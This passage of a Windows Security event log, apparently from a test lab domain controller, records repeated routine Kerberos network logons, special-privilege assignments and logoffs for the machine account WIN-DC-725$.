SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249080
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1F4B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249103
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2204

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249102
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD2204
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64137

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249101
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2204

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249100
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD21A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249099
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD21A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64136

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249098
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD21A3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249097
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD213D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249096
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD213D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64135

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249095
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD213D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249094
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD20DC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249093
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD20DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64134

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249092
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD20DC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249115
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2529

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249114
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD2529
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64141

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249113
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2529

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249112
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD24B4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249111
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD24B4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64140

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249110
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD24B4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249109
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2446

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249108
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD2446
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64139

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249107
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD2446

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249106
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD23D3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249105
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD23D3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64138

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249104
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD23D3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249127
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3E2C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249126
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD3E2C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64145

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249125
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3E2C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249124
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD3DBB

Logon Type:			3

